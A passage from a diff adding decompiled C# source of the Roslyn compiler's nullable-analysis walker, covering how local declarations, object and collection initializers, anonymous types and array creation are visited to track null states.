GetRValueAnnotations(withExpr.CloneMethod)); + int orCreatePlaceholderSlot = GetOrCreatePlaceholderSlot(withExpr); + TrackNullableStateForAssignment(receiver, typeWithAnnotations, orCreatePlaceholderSlot, typeWithState, MakeSlot(receiver)); + SetResult(withExpr, typeWithState, typeWithAnnotations); + VisitObjectCreationInitializer(orCreatePlaceholderSlot, typeWithAnnotations.Type, withExpr.InitializerExpression, delayCompletionForType: false); + return null; + } + + public override BoundNode? VisitForStatement(BoundForStatement node) + { + DeclareLocals(node.OuterLocals); + DeclareLocals(node.InnerLocals); + return base.VisitForStatement(node); + } + + public override BoundNode? VisitForEachStatement(BoundForEachStatement node) + { + DeclareLocals(node.IterationVariables); + return base.VisitForEachStatement(node); + } + + public override BoundNode? VisitUsingStatement(BoundUsingStatement node) + { + DeclareLocals(node.Locals); + Visit(node.AwaitOpt); + return base.VisitUsingStatement(node); + } + + public override BoundNode? VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node) + { + Visit(node.AwaitOpt); + return base.VisitUsingLocalDeclarations(node); + } + + public override BoundNode? VisitFixedStatement(BoundFixedStatement node) + { + DeclareLocals(node.Locals); + return base.VisitFixedStatement(node); + } + + public override BoundNode? VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + DeclareLocals(node.Locals); + return base.VisitConstructorMethodBody(node); + } + + private void DeclareLocal(LocalSymbol local) + { + if (local.DeclarationKind != LocalDeclarationKind.None) + { + int orCreateSlot = GetOrCreateSlot(local); + if (orCreateSlot > 0) + { + SetState(ref State, orCreateSlot, GetDefaultState(ref State, orCreateSlot)); + InheritDefaultState(GetDeclaredLocalResult(local).Type, orCreateSlot); + } + } + } + + private void DeclareLocals(ImmutableArray locals) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + DeclareLocal(current); + } + } + + public override BoundNode? VisitLocalDeclaration(BoundLocalDeclaration node) + { + LocalSymbol localSymbol = node.LocalSymbol; + int orCreateSlot = GetOrCreateSlot(localSymbol); + bool disableDiagnostics = _disableDiagnostics; + _disableDiagnostics = true; + LocalState state = State; + VisitAndUnsplitAll(node.ArgumentsOpt); + _disableDiagnostics = disableDiagnostics; + SetState(state); + if (node.DeclaredTypeOpt != null) + { + VisitTypeExpression(node.DeclaredTypeOpt); + } + BoundExpression initializerOpt = node.InitializerOpt; + if (initializerOpt == null) + { + return null; + } + TypeWithAnnotations typeWithAnnotations = localSymbol.TypeWithAnnotations; + bool inferredType = node.InferredType; + TypeWithState valueType; + if (localSymbol.IsRef) + { + valueType = VisitRefExpression(initializerOpt, typeWithAnnotations); + } + else + { + valueType = VisitOptionalImplicitConversion(initializerOpt, inferredType ? default(TypeWithAnnotations) : typeWithAnnotations, useLegacyWarnings: true, trackMembers: true, AssignmentKind.Assignment); + Unsplit(); + } + if (inferredType) + { + if (valueType.HasNullType) + { + valueType = typeWithAnnotations.ToTypeWithState(); + } + typeWithAnnotations = valueType.ToAnnotatedTypeWithAnnotations(compilation); + _variables.SetType(localSymbol, typeWithAnnotations); + if (node.DeclaredTypeOpt != null) + { + SetAnalyzedNullability(node.DeclaredTypeOpt, new VisitResult(typeWithAnnotations.ToTypeWithState(), typeWithAnnotations), true); + } + } + TrackNullableStateForAssignment(initializerOpt, typeWithAnnotations, orCreateSlot, valueType, MakeSlot(initializerOpt)); + return null; + } + + protected override BoundExpression? VisitExpressionWithoutStackGuard(BoundExpression node) + { + SetInvalidResult(); + base.VisitExpressionWithoutStackGuard(node); + VisitExpressionWithoutStackGuardEpilogue(node); + return null; + } + + private void VisitExpressionWithoutStackGuardEpilogue(BoundExpression node) + { + TypeWithState resultType = ResultType; + if (ShouldMakeNotNullRvalue(node)) + { + TypeWithState resultType2 = resultType.WithNotNullState(); + SetResult(node, resultType2, LvalueResultType); + } + } + + private static bool AreLambdaAndNewDelegateSimilar(LambdaSymbol l, NamedTypeSymbol n) + { + MethodSymbol delegateInvokeMethod = n.DelegateInvokeMethod; + if (delegateInvokeMethod.Parameters.SequenceEqual(l.Parameters, (ParameterSymbol p1, ParameterSymbol p2) => p1.Type.Equals(p2.Type, (TypeCompareKind)28))) + { + return delegateInvokeMethod.ReturnType.Equals(l.ReturnType, (TypeCompareKind)28); + } + return false; + } + + public override BoundNode? Visit(BoundNode? node) + { + return Visit(node, expressionIsRead: true); + } + + private BoundNode VisitLValue(BoundNode node) + { + return Visit(node, expressionIsRead: false); + } + + private BoundNode Visit(BoundNode? node, bool expressionIsRead) + { + bool expressionIsRead2 = _expressionIsRead; + _expressionIsRead = expressionIsRead; + TakeIncrementalSnapshot(node); + BoundNode result = base.Visit(node); + _expressionIsRead = expressionIsRead2; + return result; + } + + protected override void VisitStatement(BoundStatement statement) + { + SetInvalidResult(); + base.VisitStatement(statement); + SetInvalidResult(); + } + + public override BoundNode? VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + public override BoundNode? VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node) + { + SetResultType(node, TypeWithState.Create(null, NullableFlowState.NotNull)); + return null; + } + + public override BoundNode? VisitCollectionExpression(BoundCollectionExpression node) + { + GetOrCreatePlaceholderSlot(node); + NullableFlowState defaultState = NullableFlowState.NotNull; + if (ConversionsBase.GetCollectionExpressionTypeKind(compilation, node.Type, out var elementType) == CollectionExpressionTypeKind.CollectionBuilder) + { + MethodSymbol collectionBuilderMethod = node.CollectionBuilderMethod; + if ((object)collectionBuilderMethod != null) + { + elementType = ((NamedTypeSymbol)collectionBuilderMethod.Parameters[0].Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + FlowAnalysisAnnotations flowAnalysisAnnotations = collectionBuilderMethod.GetFlowAnalysisAnnotations(); + defaultState = ApplyUnconditionalAnnotations(collectionBuilderMethod.ReturnTypeWithAnnotations, flowAnalysisAnnotations).ToTypeWithState().State; + } + } + ImmutableArray.Enumerator enumerator = node.Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (!(current is BoundCollectionElementInitializer boundCollectionElementInitializer)) + { + if (current is BoundCollectionExpressionSpreadElement node2) + { + Visit(node2); + } + else + { + VisitOptionalImplicitConversion(current, elementType, useLegacyWarnings: false, trackMembers: false, AssignmentKind.Assignment); + } + } + else + { + NamedTypeSymbol containingType = boundCollectionElementInitializer.AddMethod.ContainingType; + VisitCollectionElementInitializer(boundCollectionElementInitializer, containingType, delayCompletionForType: false); + } + } + SetResultType(node, TypeWithState.Create(node.Type, defaultState)); + return null; + } + + public override BoundNode? VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node) + { + ImmutableArray.Enumerator enumerator = node.Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.NotNull)); + return null; + } + + public override BoundNode? VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node) + { + base.VisitCollectionExpressionSpreadElement(node); + SetResultType(node, default(TypeWithState)); + return null; + } + + private void VisitObjectCreationExpressionBase(BoundObjectCreationExpressionBase node) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + bool wasTargetTyped = node.WasTargetTyped; + MethodSymbol methodSymbol = getConstructor(node, node.Type); + ImmutableArray arguments = node.Arguments; + (MethodSymbol? method, ImmutableArray results, bool returnNotNull, ArgumentsCompletionDelegate? completion) tuple = VisitArguments(node, arguments, node.ArgumentRefKindsOpt, methodSymbol?.Parameters ?? default(ImmutableArray), node.ArgsToParamsOpt, node.DefaultArguments, node.Expanded, invokedAsExtensionMethod: false, methodSymbol, wasTargetTyped); + ImmutableArray item = tuple.results; + ArgumentsCompletionDelegate item2 = tuple.completion; + TypeSymbol type = node.Type; + (int slot, NullableFlowState resultState, Func? completion) tuple2 = inferInitialObjectState(node, type, methodSymbol, arguments, item, wasTargetTyped); + int item3 = tuple2.slot; + NullableFlowState item4 = tuple2.resultState; + Func item5 = tuple2.completion; + Action initializerCompletion = null; + BoundObjectInitializerExpressionBase initializerExpressionOpt = node.InitializerExpressionOpt; + if (initializerExpressionOpt != null) + { + initializerCompletion = VisitObjectCreationInitializer(item3, type, initializerExpressionOpt, wasTargetTyped); + } + TypeWithState type2 = setAnalyzedNullability(node, type, item, item2, item5, initializerCompletion, item4, wasTargetTyped); + SetResultType(node, type2, updateAnalyzedNullability: false); + static MethodSymbol? getConstructor(BoundObjectCreationExpressionBase boundObjectCreationExpressionBase, TypeSymbol type3) + { + MethodSymbol methodSymbol2 = boundObjectCreationExpressionBase.Constructor; + if ((object)methodSymbol2 != null && !type3.IsInterfaceType()) + { + methodSymbol2 = (MethodSymbol)AsMemberOfType(type3, methodSymbol2); + } + return methodSymbol2; + } + (int slot, NullableFlowState resultState, Func? completion) inferInitialObjectState(BoundExpression boundExpression, TypeSymbol typeSymbol, MethodSymbol? constructor, ImmutableArray immutableArray, ImmutableArray argumentResults, bool isTargetTyped) + { + if (isTargetTyped) + { + return (slot: -1, resultState: NullableFlowState.NotNull, completion: inferInitialObjectStateAsContinuation(boundExpression, immutableArray, argumentResults)); + } + ImmutableArray types = ImmutableArrayExtensions.SelectAsArray(argumentResults, (Func)((VisitArgumentResult ar) => ar.RValueType)); + int num = -1; + NullableFlowState nullableFlowState = NullableFlowState.NotNull; + if ((object)typeSymbol != null) + { + num = GetOrCreatePlaceholderSlot(boundExpression); + if (num > 0) + { + bool flag = constructor?.IsDefaultValueTypeConstructor() ?? false; + if (EmptyStructTypeCache.IsTrackableStructType(typeSymbol)) + { + NamedTypeSymbol namedTypeSymbol = constructor?.ContainingType; + if ((object)namedTypeSymbol != null && namedTypeSymbol.IsTupleType && !flag) + { + TrackNullableStateOfTupleElements(num, namedTypeSymbol, immutableArray, types, ((BoundObjectCreationExpression)boundExpression).ArgsToParamsOpt, useRestField: true); + } + else + { + InheritNullableStateOfTrackableStruct(typeSymbol, num, -1, flag); + } + } + else if (typeSymbol.IsNullableType()) + { + TypeWithAnnotations underlyingTypeWithAnnotations; + if (flag) + { + nullableFlowState = NullableFlowState.MaybeNull; + } + else if ((object)constructor != null && constructor.ParameterCount == 1 && AreNullableAndUnderlyingTypes(typeSymbol, constructor.ParameterTypesWithAnnotations[0].Type, out underlyingTypeWithAnnotations)) + { + BoundExpression boundExpression2 = immutableArray[0]; + int num2 = MakeSlot(boundExpression2); + if (num2 > 0) + { + TrackNullableStateOfNullableValue(num, typeSymbol, boundExpression2, underlyingTypeWithAnnotations.ToTypeWithState(), num2); + } + } + } + SetState(ref State, num, nullableFlowState); + } + } + return (slot: num, resultState: nullableFlowState, completion: null); + } + Func inferInitialObjectStateAsContinuation(BoundExpression node2, ImmutableArray arguments2, ImmutableArray argumentResults) + { + return (TypeSymbol type3, MethodSymbol? constructor) => inferInitialObjectState(node2, type3, constructor, arguments2, argumentResults, isTargetTyped: false).slot; + } + TypeWithState setAnalyzedNullability(BoundObjectCreationExpressionBase boundObjectCreationExpressionBase, TypeSymbol? type3, ImmutableArray argumentResults, ArgumentsCompletionDelegate? argumentsCompletion, Func? initialStateInferenceCompletion, Action? initializerCompletion2, NullableFlowState resultState, bool isTargetTyped) + { + TypeWithState typeWithState = TypeWithState.Create(type3, resultState); + if (isTargetTyped) + { + setAnalyzedNullabilityAsContinuation(boundObjectCreationExpressionBase, argumentResults, argumentsCompletion, initialStateInferenceCompletion, initializerCompletion2, resultState); + } + else + { + SetAnalyzedNullability(boundObjectCreationExpressionBase, typeWithState); + } + return typeWithState; + } + void setAnalyzedNullabilityAsContinuation(BoundObjectCreationExpressionBase boundObjectCreationExpressionBase, ImmutableArray argumentResults, ArgumentsCompletionDelegate argumentsCompletion, Func initialStateInferenceCompletion, Action? action, NullableFlowState resultState) + { + ((Dictionary>)(object)TargetTypedAnalysisCompletion)[(BoundExpression)boundObjectCreationExpressionBase] = delegate(TypeWithAnnotations resultTypeWithAnnotations) + { + _ = boundObjectCreationExpressionBase.Arguments; + TypeSymbol type3 = resultTypeWithAnnotations.Type; + MethodSymbol methodSymbol2 = getConstructor(boundObjectCreationExpressionBase, type3); + argumentsCompletion(argumentResults, methodSymbol2?.Parameters ?? default(ImmutableArray), methodSymbol2); + int arg = initialStateInferenceCompletion(type3, methodSymbol2); + action?.Invoke(arg, type3); + return setAnalyzedNullability(boundObjectCreationExpressionBase, type3, argumentResults, null, null, null, resultState, isTargetTyped: false); + }; + } + } + + private Action? VisitObjectCreationInitializer(int containingSlot, TypeSymbol containingType, BoundObjectInitializerExpressionBase node, bool delayCompletionForType) + { + Action action = null; + TakeIncrementalSnapshot(node); + if (!(node is BoundObjectInitializerExpression boundObjectInitializerExpression)) + { + if (node is BoundCollectionInitializerExpression boundCollectionInitializerExpression) + { + ImmutableArray.Enumerator enumerator = boundCollectionInitializerExpression.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current.Kind == BoundKind.CollectionElementInitializer) + { + action = (Action)Delegate.Combine(action, VisitCollectionElementInitializer((BoundCollectionElementInitializer)current, containingType, delayCompletionForType)); + } + else + { + VisitRvalue(current); + } + } + SetNotNullResult(boundCollectionInitializerExpression.Placeholder); + } + else + { + ExceptionUtilities.UnexpectedValue((object)node.Kind); + } + } + else + { + ImmutableArray.Enumerator enumerator = boundObjectInitializerExpression.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current2 = enumerator.Current; + if (current2.Kind == BoundKind.AssignmentOperator) + { + action = (Action)Delegate.Combine(action, VisitObjectElementInitializer(containingSlot, containingType, (BoundAssignmentOperator)current2, delayCompletionForType)); + } + else + { + VisitRvalue(current2); + } + } + SetNotNullResult(boundObjectInitializerExpression.Placeholder); + } + return action; + } + + private Action? VisitObjectElementInitializer(int containingSlot, TypeSymbol containingType, BoundAssignmentOperator node, bool delayCompletionForType) + { + TakeIncrementalSnapshot(node); + BoundExpression left = node.Left; + if (left.Kind == BoundKind.ObjectInitializerMember) + { + TakeIncrementalSnapshot(left); + return visitMemberInitializer(containingSlot, containingType, node, delayCompletionForType); + } + VisitRvalue(node); + return null; + Action? completeNestedInitializerAnalysis(Symbol symbol, BoundObjectInitializerExpressionBase initializer, int slot, Action? nestedCompletion, bool flag) + { + if (flag) + { + return completeNestedInitializerAnalysisAsContinuation(initializer, nestedCompletion); + } + if (slot >= 0 && !initializer.Initializers.IsEmpty && !initializer.Type.IsValueType && GetState(ref State, slot).MayBeNull()) + { + ReportDiagnostic(ErrorCode.WRN_NullReferenceInitializer, initializer.Syntax, symbol); + } + return null; + } + Action? completeNestedInitializerAnalysisAsContinuation(BoundObjectInitializerExpressionBase initializer, Action? nestedCompletion) + { + return delegate(int containingSlot2, Symbol symbol) + { + int num = getOrCreateSlot(containingSlot2, symbol); + completeNestedInitializerAnalysis(symbol, initializer, num, null, delayCompletionForType: false); + nestedCompletion?.Invoke(num, symbol.GetTypeOrReturnType().Type); + }; + } + int getOrCreateSlot(int num, Symbol symbol) + { + if (num >= 0 && IsSlotMember(num, symbol)) + { + return GetOrCreateSlot(symbol, num); + } + return -1; + } + static Symbol? getTargetMember(TypeSymbol type, BoundObjectInitializerMember objectInitializer) + { + Symbol symbol = objectInitializer.MemberSymbol; + if (symbol != null) + { + symbol = AsMemberOfType(type, symbol); + } + return symbol; + } + Action? setAnalyzedNullability(BoundAssignmentOperator boundAssignmentOperator, ImmutableArray argumentResults, ArgumentsCompletionDelegate? argumentsCompletion, Action? initializationCompletion, bool flag) + { + if (flag) + { + return setAnalyzedNullabilityAsContinuation(boundAssignmentOperator, argumentResults, argumentsCompletion, initializationCompletion); + } + BoundObjectInitializerMember boundObjectInitializerMember = (BoundObjectInitializerMember)boundAssignmentOperator.Left; + VisitResult result = new VisitResult(boundObjectInitializerMember.Type, NullableAnnotation.NotAnnotated, NullableFlowState.NotNull); + SetAnalyzedNullability(boundObjectInitializerMember, result); + SetAnalyzedNullability(boundAssignmentOperator, result); + return null; + } + Action? setAnalyzedNullabilityAsContinuation(BoundAssignmentOperator boundAssignmentOperator, ImmutableArray argumentResults, ArgumentsCompletionDelegate? argumentsCompletion, Action? initializationCompletion) + { + return delegate(int arg, TypeSymbol containingType2) + { + Symbol symbol = getTargetMember(containingType2, (BoundObjectInitializerMember)boundAssignmentOperator.Left); + argumentsCompletion?.Invoke(argumentResults, ((PropertySymbol)symbol)?.Parameters ?? default(ImmutableArray), null); + initializationCompletion?.Invoke(arg, symbol); + setAnalyzedNullability(boundAssignmentOperator, argumentResults, null, null, delayCompletionForType: false); + }; + } + Action? visitMemberAssignment(BoundAssignmentOperator boundAssignmentOperator, int containingSlot2, Symbol symbol, bool flag, Func? conversionCompletion = null) + { + if (!flag && conversionCompletion == null) + { + TakeIncrementalSnapshot(boundAssignmentOperator.Right); + } + TypeWithAnnotations typeWithAnnotations = ApplyLValueAnnotations(symbol.GetTypeOrReturnType(), GetObjectInitializerMemberLValueAnnotations(symbol)); + TypeWithState valueType; + if (conversionCompletion == null) + { + (valueType, conversionCompletion) = VisitOptionalImplicitConversion(boundAssignmentOperator.Right, typeWithAnnotations, useLegacyWarnings: false, trackMembers: true, AssignmentKind.Assignment, flag); + } + else + { + TypeWithState typeWithState = conversionCompletion(typeWithAnnotations); + conversionCompletion = null; + valueType = typeWithState; + } + Unsplit(); + if (flag) + { + return visitMemberAssignmentAsContinuation(boundAssignmentOperator, conversionCompletion); + } + int targetSlot = getOrCreateSlot(containingSlot2, symbol); + TrackNullableStateForAssignment(boundAssignmentOperator.Right, typeWithAnnotations, targetSlot, valueType, MakeSlot(boundAssignmentOperator.Right)); + return null; + } + Action? visitMemberAssignmentAsContinuation(BoundAssignmentOperator node2, Func conversionCompletion) + { + return delegate(int containingSlot2, Symbol symbol) + { + visitMemberAssignment(node2, containingSlot2, symbol, delayCompletionForType: false, conversionCompletion); + }; + } + Action? visitMemberInitializer(int containingSlot2, TypeSymbol containingType2, BoundAssignmentOperator boundAssignmentOperator, bool flag) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + BoundObjectInitializerMember boundObjectInitializerMember = (BoundObjectInitializerMember)boundAssignmentOperator.Left; + Symbol symbol = getTargetMember(containingType2, boundObjectInitializerMember); + ImmutableArray argumentResults = default(ImmutableArray); + ArgumentsCompletionDelegate argumentsCompletion = null; + if (!boundObjectInitializerMember.Arguments.IsDefaultOrEmpty) + { + (MethodSymbol? method, ImmutableArray results, bool returnNotNull, ArgumentsCompletionDelegate? completion) tuple = VisitArguments(boundObjectInitializerMember, boundObjectInitializerMember.Arguments, boundObjectInitializerMember.ArgumentRefKindsOpt, ((PropertySymbol)symbol)?.Parameters ?? default(ImmutableArray), boundObjectInitializerMember.ArgsToParamsOpt, boundObjectInitializerMember.DefaultArguments, boundObjectInitializerMember.Expanded, invokedAsExtensionMethod: false, null, flag); + argumentResults = tuple.results; + argumentsCompletion = tuple.completion; + } + Action initializationCompletion = null; + if ((object)symbol != null) + { + if (boundAssignmentOperator.Right is BoundObjectInitializerExpressionBase initializer) + { + initializationCompletion = visitNestedInitializer(containingSlot2, containingType2, symbol, initializer, flag); + } + else + { + TakeIncrementalSnapshot(boundAssignmentOperator.Right); + initializationCompletion = visitMemberAssignment(boundAssignmentOperator, containingSlot2, symbol, flag); + } + } + return setAnalyzedNullability(boundAssignmentOperator, argumentResults, argumentsCompletion, initializationCompletion, flag); + } + Action? visitNestedInitializer(int containingSlot2, TypeSymbol typeSymbol, Symbol symbol, BoundObjectInitializerExpressionBase initializer, bool delayCompletionForType2) + { + int num = getOrCreateSlot(containingSlot2, symbol); + Action nestedCompletion = VisitObjectCreationInitializer(num, symbol.GetTypeOrReturnType().Type, initializer, delayCompletionForType2); + return completeNestedInitializerAnalysis(symbol, initializer, num, nestedCompletion, delayCompletionForType2); + } + } + + [Obsolete("Use VisitCollectionElementInitializer(BoundCollectionElementInitializer node, TypeSymbol containingType, bool delayCompletionForType) instead.", true)] + private new void VisitCollectionElementInitializer(BoundCollectionElementInitializer node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 3985); + } + + private Action? VisitCollectionElementInitializer(BoundCollectionElementInitializer node, TypeSymbol containingType, bool delayCompletionForType) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray argumentResults = default(ImmutableArray); + MethodSymbol methodSymbol = addMethodAsMemberOfContainingType(node, containingType, ref argumentResults); + MethodSymbol reinferredMethod; + ArgumentsCompletionDelegate visitArgumentsCompletion; + (reinferredMethod, argumentResults, _, visitArgumentsCompletion) = VisitArguments(node, node.Arguments, default(ImmutableArray), methodSymbol.Parameters, node.ArgsToParamsOpt, node.DefaultArguments, node.Expanded, node.InvokedAsExtensionMethod, methodSymbol, delayCompletionForType); + return setUpdatedSymbol(node, containingType, reinferredMethod, argumentResults, visitArgumentsCompletion, delayCompletionForType); + static MethodSymbol addMethodAsMemberOfContainingType(BoundCollectionElementInitializer boundCollectionElementInitializer, TypeSymbol typeSymbol, ref ImmutableArray reference) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol2 = boundCollectionElementInitializer.AddMethod; + if (boundCollectionElementInitializer.InvokedAsExtensionMethod) + { + if (!reference.IsDefault) + { + VisitArgumentResult visitArgumentResult = reference[0]; + ArrayBuilder instance = ArrayBuilder.GetInstance(reference.Length); + instance.Add(new VisitArgumentResult(new VisitResult(TypeWithState.Create(typeSymbol, visitArgumentResult.RValueType.State), visitArgumentResult.LValueType.WithType(typeSymbol)), visitArgumentResult.StateForLambda)); + instance.AddRange(reference, 1, reference.Length - 1); + reference = instance.ToImmutableAndFree(); + } + } + else + { + methodSymbol2 = (MethodSymbol)AsMemberOfType(typeSymbol, methodSymbol2); + } + return methodSymbol2; + } + Action? setUpdatedSymbol(BoundCollectionElementInitializer boundCollectionElementInitializer, TypeSymbol typeSymbol, MethodSymbol? updatedSymbol, ImmutableArray argumentResults2, ArgumentsCompletionDelegate? visitArgumentsCompletion2, bool flag) + { + if (flag) + { + return setUpdatedSymbolAsContinuation(boundCollectionElementInitializer, argumentResults2, visitArgumentsCompletion2); + } + if (boundCollectionElementInitializer.ImplicitReceiverOpt != null) + { + SetAnalyzedNullability(boundCollectionElementInitializer.ImplicitReceiverOpt, new VisitResult(boundCollectionElementInitializer.ImplicitReceiverOpt.Type, NullableAnnotation.NotAnnotated, NullableFlowState.NotNull)); + } + SetUnknownResultNullability(boundCollectionElementInitializer); + SetUpdatedSymbol(boundCollectionElementInitializer, boundCollectionElementInitializer.AddMethod, updatedSymbol); + return null; + } + Action? setUpdatedSymbolAsContinuation(BoundCollectionElementInitializer node2, ImmutableArray argumentResults2, ArgumentsCompletionDelegate argumentsCompletionDelegate) + { + return delegate(int containingSlot, TypeSymbol containingType2) + { + MethodSymbol methodSymbol2 = addMethodAsMemberOfContainingType(node2, containingType2, ref argumentResults2); + setUpdatedSymbol(node2, containingType2, argumentsCompletionDelegate(argumentResults2, methodSymbol2.Parameters, methodSymbol2).method, argumentResults2, null, delayCompletionForType: false); + }; + } + } + + private void SetNotNullResult(BoundExpression node) + { + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.NotNull)); + } + + protected override bool IsEmptyStructType(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if ((int)type.TypeKind != 10) + { + return false; + } + if (!_emptyStructTypeCache.IsEmptyStructType(type)) + { + return false; + } + if ((int)type.SpecialType != 0) + { + return true; + } + ImmutableArray membersUnordered = ((NamedTypeSymbol)type).GetMembersUnordered(); + if (membersUnordered.Any((Symbol m) => (int)m.Kind == 6)) + { + return true; + } + if (membersUnordered.Any((Symbol m) => (int)m.Kind == 15)) + { + return false; + } + return true; + } + + private int GetOrCreatePlaceholderSlot(BoundExpression node) + { + if (IsEmptyStructType(node.Type)) + { + return -1; + } + return GetOrCreatePlaceholderSlot(node, TypeWithAnnotations.Create(node.Type, NullableAnnotation.NotAnnotated)); + } + + private int GetOrCreatePlaceholderSlot(object identifier, TypeWithAnnotations type) + { + if (_placeholderLocalsOpt == null) + { + _placeholderLocalsOpt = PooledDictionary.GetInstance(); + } + if (!((Dictionary)(object)_placeholderLocalsOpt).TryGetValue(identifier, out PlaceholderLocal value)) + { + value = new PlaceholderLocal(CurrentSymbol, identifier, type); + ((Dictionary)(object)_placeholderLocalsOpt).Add(identifier, value); + } + return GetOrCreateSlot(value, 0, forceSlotEvenIfEmpty: true); + } + + public override BoundNode? VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node) + { + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Invalid comparison between Unknown and I4 + NamedTypeSymbol type = (NamedTypeSymbol)node.Type; + ImmutableArray arguments = node.Arguments; + ImmutableArray immutableArray = ImmutableArrayExtensions.SelectAsArray(arguments, (Func)((BoundExpression arg, NullableWalker self) => self.VisitRvalueWithState(arg)), this); + ImmutableArray immutableArray2 = ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((TypeWithState arg) => arg.ToTypeWithAnnotations(compilation))); + if (immutableArray2.All((TypeWithAnnotations argType) => argType.HasType)) + { + type = AnonymousTypeManager.ConstructAnonymousTypeSymbol(type, immutableArray2); + int orCreatePlaceholderSlot = GetOrCreatePlaceholderSlot(node); + int currentDeclarationIndex = 0; + for (int num = 0; num < arguments.Length; num++) + { + BoundExpression boundExpression = arguments[num]; + TypeWithState typeWithState = immutableArray[num]; + PropertySymbol anonymousTypeProperty = AnonymousTypeManager.GetAnonymousTypeProperty(type, num); + if ((int)anonymousTypeProperty.Type.SpecialType != 6) + { + int orCreateSlot = GetOrCreateSlot(anonymousTypeProperty, orCreatePlaceholderSlot); + TrackNullableStateForAssignment(boundExpression, anonymousTypeProperty.TypeWithAnnotations, orCreateSlot, typeWithState, MakeSlot(boundExpression)); + BoundAnonymousPropertyDeclaration boundAnonymousPropertyDeclaration = getDeclaration(node, anonymousTypeProperty, ref currentDeclarationIndex); + if (boundAnonymousPropertyDeclaration != null) + { + TakeIncrementalSnapshot(boundAnonymousPropertyDeclaration); + SetAnalyzedNullability(boundAnonymousPropertyDeclaration, new VisitResult(typeWithState, anonymousTypeProperty.TypeWithAnnotations)); + } + } + } + } + SetResultType(node, TypeWithState.Create(type, NullableFlowState.NotNull)); + return null; + static BoundAnonymousPropertyDeclaration? getDeclaration(BoundAnonymousObjectCreationExpression boundAnonymousObjectCreationExpression, PropertySymbol currentProperty, ref int reference) + { + if (reference >= boundAnonymousObjectCreationExpression.Declarations.Length) + { + return null; + } + BoundAnonymousPropertyDeclaration boundAnonymousPropertyDeclaration2 = boundAnonymousObjectCreationExpression.Declarations[reference]; + if (boundAnonymousPropertyDeclaration2.Property.MemberIndexOpt == currentProperty.MemberIndexOpt) + { + reference++; + return boundAnonymousPropertyDeclaration2; + } + return null; + } + } + + public override BoundNode? VisitArrayCreation(BoundArrayCreation node) + { + ImmutableArray.Enumerator enumerator = node.Bounds.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + BoundArrayInitialization initializerOpt = node.InitializerOpt; + if (initializerOpt == null) + { + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.NotNull)); + return null; + } + TypeSymbol type = VisitArrayInitialization(node.Type, initializerOpt, node.HasErrors); + SetResultType(node, TypeWithState.Create(type, NullableFlowState.NotNull)); + return null; + } + + private TypeSymbol VisitArrayInitialization(TypeSymbol type, BoundArrayInitialization initialization, bool hasErrors) + { + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Unknown result type (might be due to invalid IL or missing references) + //IL_0203: Unknown result type (might be due to invalid IL or missing references) + //IL_0209: Unknown result type (might be due to invalid IL or missing references) + //IL_0276: Unknown result type (might be due to invalid IL or missing references) + //IL_027c: Unknown result type (might be due to invalid IL or missing references) + //IL_032a: Unknown result type (might be due to invalid IL or missing references) + TakeIncrementalSnapshot(initialization); + ArrayBuilder instance = ArrayBuilder.GetInstance(initialization.Initializers.Length); + GetArrayElements(initialization, instance); + int count = instance.Count; + TypeWithAnnotations typeWithAnnotations; + if (!(type is ArrayTypeSymbol arrayTypeSymbol)) + { + if (!(type is PointerTypeSymbol pointerTypeSymbol)) + { + if (!(type is NamedTypeSymbol namedType)) + { + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + typeWithAnnotations = getSpanElementType(namedType); + } + else + { + typeWithAnnotations = pointerTypeSymbol.PointedAtTypeWithAnnotations; + } + } + else + { + typeWithAnnotations = arrayTypeSymbol.ElementTypeWithAnnotations; + } + TypeWithAnnotations targetTypeOpt = typeWithAnnotations; + TypeSymbol result = type; + if (!initialization.IsInferred) + { + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitOptionalImplicitConversion(current, targetTypeOpt, useLegacyWarnings: false, trackMembers: false, AssignmentKind.Assignment); + Unsplit(); + } + } + else + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(count); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(count); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(count); + ArrayBuilder instance5 = 